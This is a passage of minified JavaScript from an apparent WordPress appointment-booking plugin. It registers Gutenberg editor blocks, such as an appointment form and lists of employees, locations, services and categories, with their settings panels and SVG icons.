,default:""},default_employee:{type:"string",default:""},timepicker_columns:{type:"number",default:3},show_timepicker_end_time:{type:"boolean",default:!1},show_add_to_calendar:{type:"boolean",default:!0},form_width:{type:"string",default:""},primary_color:{type:"string",default:""},primary_bg_color:{type:"string",default:""},secondary_color:{type:"string",default:""},secondary_bg_color:{type:"string",default:""},buttons_padding:{type:"string",default:""}},edit:class extends mt{state={initialized:!1};containerRef=React.createRef();observer=null;render(){return wp.element.createElement(ct,null,wp.element.createElement(le,this.props),wp.element.createElement("div",{ref:this.containerRef},wp.element.createElement(ht,null,wp.element.createElement(pt,{block:"motopress-appointment/appointment-form",attributes:this.props.attributes,LoadingResponsePlaceholder:this.handleServerSideRenderLoad}))))}initAppointmentForm=()=>{const e=gt(this.containerRef.current).find(".appointment-form-shortcode").last();e.length&&!e.data("initialized")&&(new rt(e),e.data("initialized",!0))};handleAttributesUpdate=()=>{this.setState({initialized:!1},this.initAppointmentForm)};componentDidMount(){this.initAppointmentForm(),this.observeDOMChanges()}componentDidUpdate(e){lt(this.props.attributes,e.attributes)||this.handleAttributesUpdate()}componentWillUnmount(){this.observer&&this.observer.disconnect()}observeDOMChanges(){const e=this.containerRef.current;this.observer=new MutationObserver((e=>{e.forEach((e=>{"childList"===e.type&&this.initAppointmentForm()}))})),this.observer.observe(e,{childList:!0,subtree:!0})}handleServerSideRenderLoad=({className:e})=>(setTimeout(this.handleAttributesUpdate,500),wp.element.createElement(dt,{className:e},wp.element.createElement("div",{style:{display:"flex",justifyContent:"center",width:"100%"}},wp.element.createElement(ut,null))))},save:()=>null});const{Component:bt,Fragment:_t}=wp.element,{SelectControl:ft,PanelBody:vt,TextControl:wt,ToggleControl:Ct,RangeControl:St}=wp.components,{InspectorControls:Et}=wp.blockEditor||wp.editor;let kt=class extends bt{render(){const{show_image:e,show_title:t,show_excerpt:i,show_contacts:n,show_social_networks:a,show_additional_info:o,employees:r,locations:l,posts_per_page:p,columns_count:m,orderby:c,order:h}=this.props.attributes,{setAttributes:d}=this.props;return[wp.element.createElement(Et,{key:"inspector"},wp.element.createElement(_t,null,wp.element.createElement(vt,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Ct,{label:s.__("Show featured image.","motopress-appointment"),checked:e,onChange:e=>{d({show_image:e})}}),wp.element.createElement(Ct,{label:s.__("Show post title.","motopress-appointment"),checked:t,onChange:e=>{d({show_title:e})}}),wp.element.createElement(Ct,{label:s.__("Show post excerpt.","motopress-appointment"),checked:i,onChange:e=>{d({show_excerpt:e})}}),wp.element.createElement(Ct,{label:s.__("Show contact information.","motopress-appointment"),checked:n,onChange:e=>{d({show_contacts:e})}}),wp.element.createElement(Ct,{label:s.__("Show social networks.","motopress-appointment"),checked:a,onChange:e=>{d({show_social_networks:e})}}),wp.element.createElement(Ct,{label:s.__("Show additional information.","motopress-appointment"),checked:o,onChange:e=>{d({show_additional_info:e})}}),wp.element.createElement(wt,{label:s.__("Employees","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of employees that will be shown.","motopress-appointment"),value:r,onChange:e=>{d({employees:e})}}),wp.element.createElement(wt,{label:s.__("Locations","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of locations.","motopress-appointment"),value:l,onChange:e=>{d({locations:e})}}),wp.element.createElement(St,{label:s.__("Posts Per Page","motopress-appointment"),value:p,onChange:e=>d({posts_per_page:e}),min:-1,max:100,placeholder:"0"}),wp.element.createElement(St,{label:s.__("Columns Count","motopress-appointment"),help:s.__("The number of columns in the grid.","motopress-appointment"),value:m,onChange:e=>d({columns_count:e}),min:0,max:100,placeholder:"0"}),wp.element.createElement(ft,{label:s.__("Order By","motopress-appointment"),value:void 0!==c?c:"none",onChange:e=>d({orderby:e}),options:[{value:"none",label:s.__("No order","motopress-appointment")},{value:"ID",label:s.__("Post ID","motopress-appointment")},{value:"author",label:s.__("Post author","motopress-appointment")},{value:"title",label:s.__("Post title","motopress-appointment")},{value:"name",label:s.__("Post name (post slug)","motopress-appointment")},{value:"date",label:s.__("Post date","motopress-appointment")},{value:"modified",label:s.__("Last modified date","motopress-appointment")},{value:"rand",label:s.__("Random order","motopress-appointment")},{value:"relevance",label:s.__("Relevance","motopress-appointment")},{value:"menu_order",label:s.__("Page order","motopress-appointment")},{value:"menu_order title",label:s.__("Page order and post title","motopress-appointment")}]}),"none"!==c&&wp.element.createElement(ft,{label:s.__("Order","motopress-appointment"),value:void 0!==h?h:"desc",onChange:e=>d({order:e}),options:[{value:"desc",label:s.__("DESC","motopress-appointment")},{value:"asc",label:s.__("ASC","motopress-appointment")}]}))))]}};const{serverSideRender:Pt}=wp,{Component:It,Fragment:Tt}=wp.element,{Disabled:$t}=wp.components;const{registerBlockType:Dt}=wp.blocks;Dt("motopress-appointment/employees-list",{title:s.__("Employees List","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:"boolean",default:!0},show_title:{type:"boolean",default:!0},show_excerpt:{type:"boolean",default:!0},show_contacts:{type:"boolean",default:!0},show_social_networks:{type:"boolean",default:!0},show_additional_info:{type:"boolean",default:!0},employees:{type:"string",default:""},locations:{type:"string",default:""},posts_per_page:{type:"number",default:3},columns_count:{type:"number",default:3},orderby:{type:"string",default:"none"},order:{type:"string",default:"desc"}},edit:class extends It{constructor(e){super(...arguments)}render(){return wp.element.createElement(Tt,null,wp.element.createElement(kt,this.props),wp.element.createElement($t,null,wp.element.createElement(Pt,{block:"motopress-appointment/employees-list",attributes:this.props.attributes})))}},save:()=>null});const{Component:xt,Fragment:Mt}=wp.element,{SelectControl:At,PanelBody:Bt,TextControl:Lt,ToggleControl:Ft,RangeControl:Rt}=wp.components,{InspectorControls:Ot}=wp.blockEditor||wp.editor;let Nt=class extends xt{render(){const{show_image:e,show_title:t,show_excerpt:i,locations:n,categories:a,posts_per_page:o,columns_count:r,orderby:l,order:p}=this.props.attributes,{setAttributes:m}=this.props;return[wp.element.createElement(Ot,{key:"inspector"},wp.element.createElement(Mt,null,wp.element.createElement(Bt,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Ft,{label:s.__("Show featured image.","motopress-appointment"),checked:e,onChange:e=>{m({show_image:e})}}),wp.element.createElement(Ft,{label:s.__("Show post title.","motopress-appointment"),checked:t,onChange:e=>{m({show_title:e})}}),wp.element.createElement(Ft,{label:s.__("Show post excerpt.","motopress-appointment"),checked:i,onChange:e=>{m({show_excerpt:e})}}),wp.element.createElement(Lt,{label:s.__("Locations","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of locations.","motopress-appointment"),value:n,onChange:e=>{m({locations:e})}}),wp.element.createElement(Lt,{label:s.__("Categories","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of categories that will be shown.","motopress-appointment"),value:a,onChange:e=>{m({categories:e})}}),wp.element.createElement(Rt,{label:s.__("Posts Per Page","motopress-appointment"),value:o,onChange:e=>m({posts_per_page:e}),min:-1,max:100,placeholder:"0"}),wp.element.createElement(Rt,{label:s.__("Columns Count","motopress-appointment"),help:s.__("The number of columns in the grid.","motopress-appointment"),value:r,onChange:e=>m({columns_count:e}),min:0,max:100,placeholder:"0"}),wp.element.createElement(At,{label:s.__("Order By","motopress-appointment"),value:void 0!==l?l:"none",onChange:e=>m({orderby:e}),options:[{value:"none",label:s.__("No order","motopress-appointment")},{value:"ID",label:s.__("Post ID","motopress-appointment")},{value:"author",label:s.__("Post author","motopress-appointment")},{value:"title",label:s.__("Post title","motopress-appointment")},{value:"name",label:s.__("Post name (post slug)","motopress-appointment")},{value:"date",label:s.__("Post date","motopress-appointment")},{value:"modified",label:s.__("Last modified date","motopress-appointment")},{value:"rand",label:s.__("Random order","motopress-appointment")},{value:"relevance",label:s.__("Relevance","motopress-appointment")},{value:"menu_order",label:s.__("Page order","motopress-appointment")},{value:"menu_order title",label:s.__("Page order and post title","motopress-appointment")}]}),"none"!==l&&wp.element.createElement(At,{label:s.__("Order","motopress-appointment"),value:void 0!==p?p:"desc",onChange:e=>m({order:e}),options:[{value:"desc",label:s.__("DESC","motopress-appointment")},{value:"asc",label:s.__("ASC","motopress-appointment")}]}))))]}};const{serverSideRender:Ht}=wp,{Component:Vt,Fragment:zt}=wp.element,{Disabled:qt}=wp.components;const{registerBlockType:Ut}=wp.blocks;Ut("motopress-appointment/locations-list",{title:s.__("Locations List","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M12,1C9.79,1,8,2.79,8,5s4,8,4,8s4-5.79,4-8S14.21,1,12,1z M12,7c-1.1,0-2-0.9-2-2s0.9-2,2-2s2,0.9,2,2S13.1,7,12,7z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:"boolean",default:!0},show_title:{type:"boolean",default:!0},show_excerpt:{type:"boolean",default:!0},locations:{type:"string",default:""},categories:{type:"string",default:""},posts_per_page:{type:"number",default:3},columns_count:{type:"number",default:3},orderby:{type:"string",default:"none"},order:{type:"string",default:"desc"}},edit:class extends Vt{constructor(){super(...arguments)}render(){return wp.element.createElement(zt,null,wp.element.createElement(Nt,this.props),wp.element.createElement(qt,null,wp.element.createElement(Ht,{block:"motopress-appointment/locations-list",attributes:this.props.attributes})))}},save:()=>null});const{Component:jt,Fragment:Wt}=wp.element,{SelectControl:Gt,PanelBody:Yt,TextControl:Qt,ToggleControl:Kt,RangeControl:Zt}=wp.components,{InspectorControls:Jt}=wp.blockEditor||wp.editor;let Xt=class extends jt{render(){const{show_image:e,show_count:t,show_description:i,parent:n,categories:a,exclude_categories:o,hide_empty:r,depth:l,number:p,columns_count:m,orderby:c,order:h}=this.props.attributes,{setAttributes:d}=this.props;return[wp.element.createElement(Jt,{key:"inspector"},wp.element.createElement(Wt,null,wp.element.createElement(Yt,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Kt,{label:s.__("Show featured image.","motopress-appointment"),checked:e,onChange:e=>{d({show_image:e})}}),wp.element.createElement(Kt,{label:s.__("Show Services Count?","motopress-appointment"),checked:t,onChange:e=>{d({show_count:e})}}),wp.element.createElement(Kt,{label:s.__("Show Description?","motopress-appointment"),checked:i,onChange:e=>{d({show_description:e})}}),wp.element.createElement(Qt,{label:s.__("Parent","motopress-appointment"),help:s.__("Parent term slug or ID to retrieve direct-child terms from.","motopress-appointment"),value:n,onChange:e=>{d({parent:e})}}),wp.element.createElement(Qt,{label:s.__("Categories","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of categories that will be shown.","motopress-appointment"),value:a,onChange:e=>{d({categories:e})}}),wp.element.createElement(Qt,{label:s.__("Exclude Categories","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of categories that will not be shown.","motopress-appointment"),value:o,onChange:e=>{d({exclude_categories:e})}}),wp.element.createElement(Kt,{label:s.__("Hide Empty","motopress-appointment"),help:s.__("Hide terms not assigned to any posts.","motopress-appointment"),checked:r,onChange:e=>{d({hide_empty:e})}}),wp.element.createElement(Zt,{label:s.__("Depth","motopress-appointment"),help:s.__("Display depth of child categories.","motopress-appointment"),value:l,onChange:e=>d({depth:e}),min:-1,max:100,placeholder:"0"}),wp.element.createElement(Zt,{label:s.__("Number","motopress-appointment"),help:s.__("Maximum number of categories to show.","motopress-appointment"),value:p,onChange:e=>d({number:e}),min:-1,max:100,placeholder:"0"}),wp.element.createElement(Zt,{label:s.__("Columns Count","motopress-appointment"),help:s.__("The number of columns in the grid.","motopress-appointment"),value:m,onChange:e=>d({columns_count:e}),min:0,max:100,placeholder:"0"}),wp.element.createElement(Gt,{label:s.__("Order By","motopress-appointment"),value:void 0!==c?c:"none",onChange:e=>d({orderby:e}),options:[{value:"none",label:s.__("No order","motopress-appointment")},{value:"name",label:s.__("Term name","motopress-appointment")},{value:"slug",label:s.__("Term slug","motopress-appointment")},{value:"term_id",label:s.__("Term ID","motopress-appointment")},{value:"parent",label:s.__("Parent ID","motopress-appointment")},{value:"count",label:s.__("Number of associated objects","motopress-appointment")},{value:"include",label:s.__('Keep the order of "IDs" parameter',"motopress-appointment")},{value:"term_order",label:s.__("Term order","motopress-appointment")},{value:"service_category_order",label:s.__("Page order","motopress-appointment")}]}),"none"!==c&&wp.element.createElement(Gt,{label:s.__("Order","motopress-appointment"),value:void 0!==h?h:"desc",onChange:e=>d({order:e}),options:[{value:"desc",label:s.__("DESC","motopress-appointment")},{value:"asc",label:s.__("ASC","motopress-appointment")}]}))))]}};const{serverSideRender:es}=wp,{Component:ts,Fragment:ss}=wp.element,{Disabled:is}=wp.components;const{registerBlockType:ns}=wp.blocks;ns("motopress-appointment/service-categories",{title:s.__("Service Categories","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("path",{d:"M7.17,2l1.41,1.41L9.17,4H10h12v18H2V2H7.17 M8,0H0v2v22h24V2H10L8,0L8,0z"}),wp.element.createElement("path",{d:"M17.59,14.18l-1.02-0.8c0.01-0.11,0.02-0.24,0.02-0.38s-0.01-0.27-0.02-0.38l1.02-0.8c0.26-0.21,0.32-0.57,0.16-0.85\r l-1.12-1.92c-0.16-0.29-0.51-0.41-0.82-0.3l-1.2,0.48c-0.21-0.15-0.43-0.27-0.65-0.38l-0.18-1.28C13.73,7.24,13.45,7,13.12,7h-2.25\r c-0.33,0-0.61,0.24-0.65,0.56l-0.18,1.28C9.81,8.95,9.59,9.08,9.38,9.22l-1.2-0.48c-0.31-0.12-0.65,0-0.81,0.29l-1.13,1.94\r c-0.16,0.28-0.09,0.65,0.16,0.85l1.02,0.8C7.41,12.76,7.41,12.88,7.41,13s0,0.24,0.02,0.38l-1.03,0.8\r c-0.25,0.21-0.32,0.57-0.16,0.85l1.12,1.92c0.16,0.29,0.51,0.41,0.82,0.29l1.2-0.48c0.21,0.15,0.43,0.27,0.65,0.38l0.18,1.28\r c0.04,0.33,0.32,0.57,0.65,0.57h2.25c0.33,0,0.61-0.24,0.65-0.56l0.18-1.28c0.23-0.11,0.45-0.24,0.65-0.38l1.21,0.48\r c0.31,0.12,0.65,0,0.81-0.29l1.13-1.95C17.92,14.73,17.85,14.38,17.59,14.18z M12,15.5c-1.38,0-2.5-1.12-2.5-2.5s1.12-2.5,2.5-2.5\r s2.5,1.12,2.5,2.5S13.38,15.5,12,15.5z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:"boolean",default:!0},show_count:{type:"boolean",default:!0},show_description:{type:"boolean",default:!0},parent:{type:"string",default:""},categories:{type:"string",default:""},exclude_categories:{type:"string",default:""},hide_empty:{type:"boolean",default:!0},depth:{type:"number",default:3},number:{type:"number",default:3},columns_count:{type:"number",default:3},orderby:{type:"string",default:"none"},order:{type:"string",default:"desc"}},edit:class extends ts{constructor(){super(...arguments)}render(){return wp.element.createElement(ss,null,wp.element.createElement(Xt,this.props),wp.element.createElement(is,null,wp.element.createElement(es,{block:"motopress-appointment/service-categories",attributes:this.props.attributes})))}},save:()=>null});const{Component:as,Fragment:os}=wp.element,{SelectControl:rs,PanelBody:ls,TextControl:ps,ToggleControl:ms,RangeControl:cs}=wp.components,{InspectorControls:hs}=wp.blockEditor||wp.editor;let ds=class extends as{render(){const{show_image:e,show_title:t,show_excerpt:i,show_price:n,show_duration:a,show_capacity:o,show_employees:r,services:l,employees:p,categories:m,tags:c,posts_per_page:h,columns_count:d,orderby:u,order:g}=this.props.attributes,{setAttributes:y}=this.props;return[wp.element.createElement(hs,{key:"inspector"},wp.element.createElement(os,null,wp.element.createElement(ls,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(ms,{label:s.__("Show featured image.","motopress-appointment"),checked:e,onChange:e=>{y({show_image:e})}}),wp.element.createElement(ms,{label:s.__("Show post title.","motopress-appointment"),checked:t,onChange:e=>{y({show_title:e})}}),wp.element.createElement(ms,{label:s.__("Show post excerpt.","motopress-appointment"),checked:i,onChange:e=>{y({show_excerpt:e})}}),wp.element.createElement(ms,{label:s.__("Show service price.","motopress-appointment"),checked:n,onChange:e=>{y({show_price:e})}}),wp.element.createElement(ms,{label:s.__("Show service duration.","motopress-appointment"),checked:a,onChange:e=>{y({show_duration:e})}}),wp.element.createElement(ms,{label:s.__("Show service capacity.","motopress-appointment"),checked:o,onChange:e=>{y({show_capacity:e})}}),wp.element.createElement(ms,{label:s.__("Show service employees.","motopress-appointment"),checked:r,onChange:e=>{y({show_employees:e})}}),wp.element.createElement(ps,{label:s.__("Services","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of services that will be shown.","motopress-appointment"),value:l,onChange:e=>{y({services:e})}}),wp.element.createElement(ps,{label:s.__("Employees","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of employees that perform these services.","motopress-appointment"),value:p,onChange:e=>{y({employees:e})}}),wp.element.createElement(ps,{label:s.__("Categories","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of categories that will be shown.","motopress-appointment"),value:m,onChange:e=>{y({categories:e})}}),wp.element.createElement(ps,{label:s.__("Tags","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of tags that will be shown.","motopress-appointment"),value:c,onChange:e=>{y({tags:e})}}),wp.element.createElement(cs,{label:s.__("Posts Per Page","motopress-appointment"),value:h,onChange:e=>y({posts_per_page:e}),min:-1,max:100,placeholder:"0"}),wp.element.createElement(cs,{label:s.__("Columns Count","motopress-appointment"),help:s.__("The number of columns in the grid.","motopress-appointment"),value:d,onChange:e=>y({columns_count:e}),min:0,max:100,placeholder:"0"}),wp.element.createElement(rs,{label:s.__("Order By","motopress-appointment"),value:void 0!==u?u:"none",onChange:e=>y({orderby:e}),options:[{value:"none",label:s.__("No order","motopress-appointment")},{value:"ID",label:s.__("Post ID","motopress-appointment")},{value:"author",label:s.__("Post author","motopress-appointment")},{value:"title",label:s.__("Post title","motopress-appointment")},{value:"name",label:s.__("Post name (post slug)","motopress-appointment")},{value:"date",label:s.__("Post date","motopress-appointment")},{value:"modified",label:s.__("Last modified date","motopress-appointment")},{value:"rand",label:s.__("Random order","motopress-appointment")},{value:"relevance",label:s.__("Relevance","motopress-appointment")},{value:"menu_order",label:s.__("Page order","motopress-appointment")},{value:"menu_order title",label:s.__("Page order and post title","motopress-appointment")},{value:"price",label:s.__("Price","motopress-appointment")}]}),"none"!==u&&wp.element.createElement(rs,{label:s.__("Order","motopress-appointment"),value:void 0!==g?g:"desc",onChange:e=>y({order:e}),options:[{value:"desc",label:s.__("DESC","motopress-appointment")},{value:"asc",label:s.__("ASC","motopress-appointment")}]}))))]}};const{serverSideRender:us}=wp,{Component:gs,Fragment:ys}=wp.element,{Disabled:bs}=wp.components;const{registerBlockType:_s}=wp.blocks;_s("motopress-appointment/services-list",{title:s.__("Services List","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M17.59,7.18l-1.02-0.8c0.01-0.11,0.02-0.24,0.02-0.38s-0.01-0.27-0.02-0.38l1.02-0.8c0.26-0.21,0.32-0.57,0.16-0.85\r l-1.12-1.92c-0.16-0.29-0.51-0.41-0.82-0.3l-1.2,0.48c-0.21-0.15-0.43-0.27-0.65-0.38l-0.18-1.28C13.73,0.24,13.45,0,13.12,0h-2.25\r c-0.33,0-0.61,0.24-0.65,0.56l-0.18,1.28C9.81,1.95,9.59,2.08,9.38,2.22l-1.2-0.48c-0.31-0.12-0.65,0-0.81,0.29L6.24,3.97\r C6.08,4.25,6.15,4.62,6.4,4.82l1.02,0.8C7.41,5.76,7.41,5.88,7.41,6s0,0.24,0.02,0.38L6.4,7.18C6.15,7.39,6.08,7.75,6.24,8.03\r l1.12,1.92c0.16,0.29,0.51,0.41,0.82,0.29l1.2-0.48c0.21,0.15,0.43,0.27,0.65,0.38l0.18,1.28c0.04,0.33,0.32,0.57,0.65,0.57h2.25\r c0.33,0,0.61-0.24,0.65-0.56l0.18-1.28c0.23-0.11,0.45-0.24,0.65-0.38l1.21,0.48c0.31,0.12,0.65,0,0.81-0.29l1.13-1.95\r C17.92,7.73,17.85,7.38,17.59,7.18z M12,8.5c-1.38,0-2.5-1.12-2.5-2.5s1.12-2.5,2.5-2.5s2.5,1.12,2.5,2.5S13.38,8.5,12,8.5z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:"boolean",default:!0},show_title:{type:"boolean",default:!0},show_excerpt:{type:"boolean",default:!0},show_price:{type:"boolean",default:!0},show_duration:{type:"boolean",default:!0},show_capacity:{type:"boolean",default:!0},show_employees:{type:"boolean",default:!0},services:{type:"string",default:""},employees:{type:"string",default:""},categories:{type:"string",default:""},tags:{type:"string",default:""},posts_per_page:{type:"number",default:3},columns_count:{type:"number",default:3},orderby:{type:"string",default:"none"},order:{type:"string",default:"desc"}},edit:class extends gs{constructor(){super(...arguments)}render(){return wp.element.createElement(ys,null,wp.element.createElement(ds,this.props),wp.element.createElement(bs,null,wp.element.createElement(us,{block:"motopress-appointment/services-list",attributes:this.props.attributes})))}},save:()=>null});const{Component:fs,Fragment:vs}=wp.element,{PanelBody:ws,TextControl:Cs}=wp.components,{InspectorControls:Ss}=wp.blockEditor||wp.editor;let Es=class extends fs{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Ss,{key:"inspector"},wp.element.createElement(vs,null,wp.element.createElement(ws,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Cs,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:ks}=wp,{Component:Ps,Fragment:Is}=wp.element,{Disabled:Ts}=wp.components;const{registerBlockType:$s}=wp.blocks;$s("motopress-appointment/employee-image",{title:s.__("Employee Image","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Ps{constructor(e){super(...arguments)}render(){return wp.element.createElement(Is,null,wp.element.createElement(Es,this.props),wp.element.createElement(Ts,null,wp.element.createElement(ks,{block:"motopress-appointment/employee-image",attributes:this.props.attributes})))}},save:()=>null});const{Component:Ds,Fragment:xs}=wp.element,{PanelBody:Ms,TextControl:As}=wp.components,{InspectorControls:Bs}=wp.blockEditor||wp.editor;let Ls=class extends Ds{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Bs,{key:"inspector"},wp.element.createElement(xs,null,wp.element.createElement(Ms,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(As,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Fs}=wp,{Component:Rs,Fragment:Os}=wp.element,{Disabled:Ns}=wp.components;const{registerBlockType:Hs}=wp.blocks;Hs("motopress-appointment/employee-title",{title:s.__("Employee Title","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Rs{constructor(e){super(...arguments)}render(){return wp.element.createElement(Os,null,wp.element.createElement(Ls,this.props),wp.element.createElement(Ns,null,wp.element.createElement(Fs,{block:"motopress-appointment/employee-title",attributes:this.props.attributes})))}},save:()=>null});const{Component:Vs,Fragment:zs}=wp.element,{PanelBody:qs,TextControl:Us}=wp.components,{InspectorControls:js}=wp.blockEditor||wp.editor;let Ws=class extends Vs{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(js,{key:"inspector"},wp.element.createElement(zs,null,wp.element.createElement(qs,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Us,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Gs}=wp,{Component:Ys,Fragment:Qs}=wp.element,{Disabled:Ks}=wp.components;const{registerBlockType:Zs}=wp.blocks;Zs("motopress-appointment/employee-services-list",{title:s.__("Employee Services List","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 